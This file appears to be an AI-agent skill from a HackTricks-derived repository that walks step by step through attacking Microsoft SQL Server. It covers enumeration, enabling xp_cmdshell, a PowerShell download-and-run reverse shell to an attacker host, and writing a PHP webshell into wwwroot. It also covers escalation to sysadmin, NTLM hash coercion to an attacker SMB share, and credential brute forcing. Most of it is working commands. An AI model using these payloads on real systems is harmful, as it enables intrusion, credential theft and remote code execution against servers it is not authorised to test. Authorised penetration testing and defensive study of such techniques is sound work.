Hacktricks-skills mssql-pentest
How to pentest Microsoft SQL Server (MSSQL) on port 1433. Use this skill whenever the user mentions MSSQL, SQL Server, port 1433, database enumeration, SQL injection against MSSQL, xp_cmdshell, linked servers, SQL Server privilege escalation, or any MSSQL-related security testing. This skill covers enumeration, exploitation, privilege escalation, and persistence techniques for MSSQL servers.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-mssql-microsoft-sql-server/pentesting-mssql-microsoft-sql-server/SKILL.MDMSSQL Pentesting Skill
A comprehensive guide for pentesting Microsoft SQL Server instances, covering enumeration, exploitation, privilege escalation, and persistence.
Quick Start
When you encounter MSSQL (port 1433), follow this workflow:
- Enumerate the service and gather information
- Authenticate using available credentials
- Explore databases, tables, and permissions
- Exploit misconfigurations for RCE or data access
- Escalate privileges if possible
- Maintain access if needed
Enumeration
Initial Reconnaissance
Start with nmap to gather basic information:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
Metasploit Enumeration (requires credentials)
# Information gathering use auxiliary/admin/mssql/mssql_enum use admin/mssql/mssql_enum_domain_accounts use admin/mssql/mssql_enum_sql_logins use auxiliary/admin/mssql/mssql_findandsampledata use auxiliary/scanner/mssql/mssql_hashdump use auxiliary/scanner/mssql/mssql_schemadump # NTLM hash stealing (start Responder first) use auxiliary/admin/mssql/mssql_ntlm_stealer
RID Brute Force for User Enumeration
When you have valid credentials but limited privileges, enumerate domain users:
# Using NetExec (nxc) nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000 # Without --local-auth for domain accounts nxc mssql <IP> -u DOMAIN\\user -p 'password' --rid-brute 5000
Manual Connection Methods
Using mssqlclient.py (Impacket):
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
Using sqsh:
sqsh -S <IP> -U <Username> -P <Password> -D <Database> # For Windows Auth, use "." as domain for local user sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
Basic Enumeration Queries
Once connected, run these queries to understand your access:
-- Get SQL Server version SELECT @@version; -- Get current user SELECT user_name(); -- Get all databases SELECT name FROM master.dbo.sysdatabases; -- Get all users and roles SELECT * FROM sys.database_principals; -- Filtered user list SELECT name, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type, sid FROM sys.database_principals WHERE type not in ('A', 'R') ORDER BY name; -- List linked servers EXEC sp_linkedservers; SELECT * FROM sys.servers; -- Get your permissions on SERVER SELECT * FROM fn_my_permissions(NULL, 'SERVER'); -- Get your permissions on current database SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); -- Check if you're sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); -- Get members of sysadmin role USE master; EXEC sp_helpsrvrolemember 'sysadmin'; -- Check who can run xp_cmdshell USE master; EXEC sp_helprotect 'xp_cmdshell';
Exploitation Techniques
Enable xp_cmdshell for RCE
-- Check if xp_cmdshell is enabled SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; -- Enable advanced options and xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- One-liner version EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Execute commands EXEC master..xp_cmdshell 'whoami'; -- Get reverse shell EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER_IP>:8000/rev.ps1") | powershell -noprofile';
Bypass xp_cmdshell Blacklisting
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping <ATTACKER_IP>' --
Read Files with OPENROWSET
-- Read any file the account has access to SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents; -- Check if you have required permissions SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
Write Files with OLE Automation
-- Enable Ole Automation Procedures (requires admin) sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -- Create a file DECLARE @OLE INT; DECLARE @FileID INT; EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT; EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1; EXECUTE sp_OAMethod @FileID, 'WriteLine', NULL, '<?php echo shell_exec($_GET["c"]);?>'; EXECUTE sp_OADestroy @FileID; EXECUTE sp_OADestroy @OLE;
Execute Python/R Scripts
-- Execute Python script EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'; -- Execute commands via Python EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'; -- Read file via Python EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())';
Registry Access
-- Read registry EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory'; -- Write to registry EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!'; -- Check permissions USE master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite';
Privilege Escalation
From db_owner to sysadmin (Trustworthy Database)
-- Find trustworthy databases SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name; -- Get database owners SELECT suser_sname(owner_sid) FROM sys.databases; -- Check your roles in a database USE <trustworthy_db>; SELECT rp.name as database_role, mp.name as database_user FROM sys.database_role_members drm JOIN sys.database_principals rp ON (drm.role_principal_id = rp.principal_id) JOIN sys.database_principals mp ON (drm.member_principal_id = mp.principal_id); -- If you're db_owner of a trustworthy database, escalate: USE <trustworthy_db>; -- Create stored procedure with EXECUTE AS OWNER CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'YOUR_USERNAME','sysadmin'; -- Execute to get sysadmin EXEC sp_elevate_me; -- Verify SELECT is_srvrolemember('sysadmin');
User Impersonation
-- Find users you can impersonate SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; -- Impersonate a user EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin'); -- Revert to original user REVERT;
Linked Server Exploitation
-- List linked servers EXEC sp_linkedservers; -- Query through linked server SELECT * FROM [LINKED_SERVER_NAME].master.dbo.sysdatabases; -- Execute commands on linked server EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
NTLM Hash Stealing
Trigger NTLM Authentication
-- Force SQL Server to authenticate to your SMB server EXEC master.dbo.xp_dirtree '\\<ATTACKER_IP>\any\thing'; EXEC master..xp_subdirs '\\<ATTACKER_IP>\anything\'; EXEC master..xp_fileexist '\\<ATTACKER_IP>\anything\';
Capture the Hash
# Start Responder sudo responder -I tun0 # Or use impacket-smbserver sudo impacket-smbserver share ./ -smb2support # Or use Metasploit use auxiliary/admin/mssql/mssql_ntlm_stealer
Check Permissions for These Functions
USE master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist';
Common Tools
MSSQLPwner
# Brute force with various credential types mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt # Execute commands mssqlpwner corp.com/user:lab@<IP> -windows-auth custom-asm hostname mssqlpwner corp.com/user:lab@<IP> -windows-auth -link-name SRV01 exec hostname # NTLM relay attack mssqlpwner corp.com/user:lab@<IP> -windows-auth ntlm-relay <ATTACKER_IP>
CrackMapExec
# Execute commands cecm mssql -d <Domain> -u <username> -p <password> -x "whoami" # Execute PowerShell cecm mssql -d <Domain> -u <username> -H <HASH> -X '$PSVersionTable'
Important Notes
DBaaS Environments
In cloud database-as-a-service environments (AWS RDS, Azure SQL, etc.):
is typically disabled and cannot be enabledxp_cmdshell
database property is not supportedTRUSTWORTHY- Focus on application-layer exploitation and data exfiltration
- Look for misconfigured IAM roles or network/VPC design issues
Permission Requirements
- xp_cmdshell: Requires EXECUTE permission on the stored procedure
- OPENROWSET BULK: Requires ADMINISTER BULK OPERATIONS permission
- OLE Automation: Requires admin privileges to enable
- Registry functions: Check with
before attemptingsp_helprotect
System Databases
- master: System-level details for the SQL Server instance
- msdb: SQL Server Agent scheduling, alerts, and jobs
- model: Blueprint for new databases
- tempdb: Temporary storage for transient objects
- Resource: Read-only, houses system objects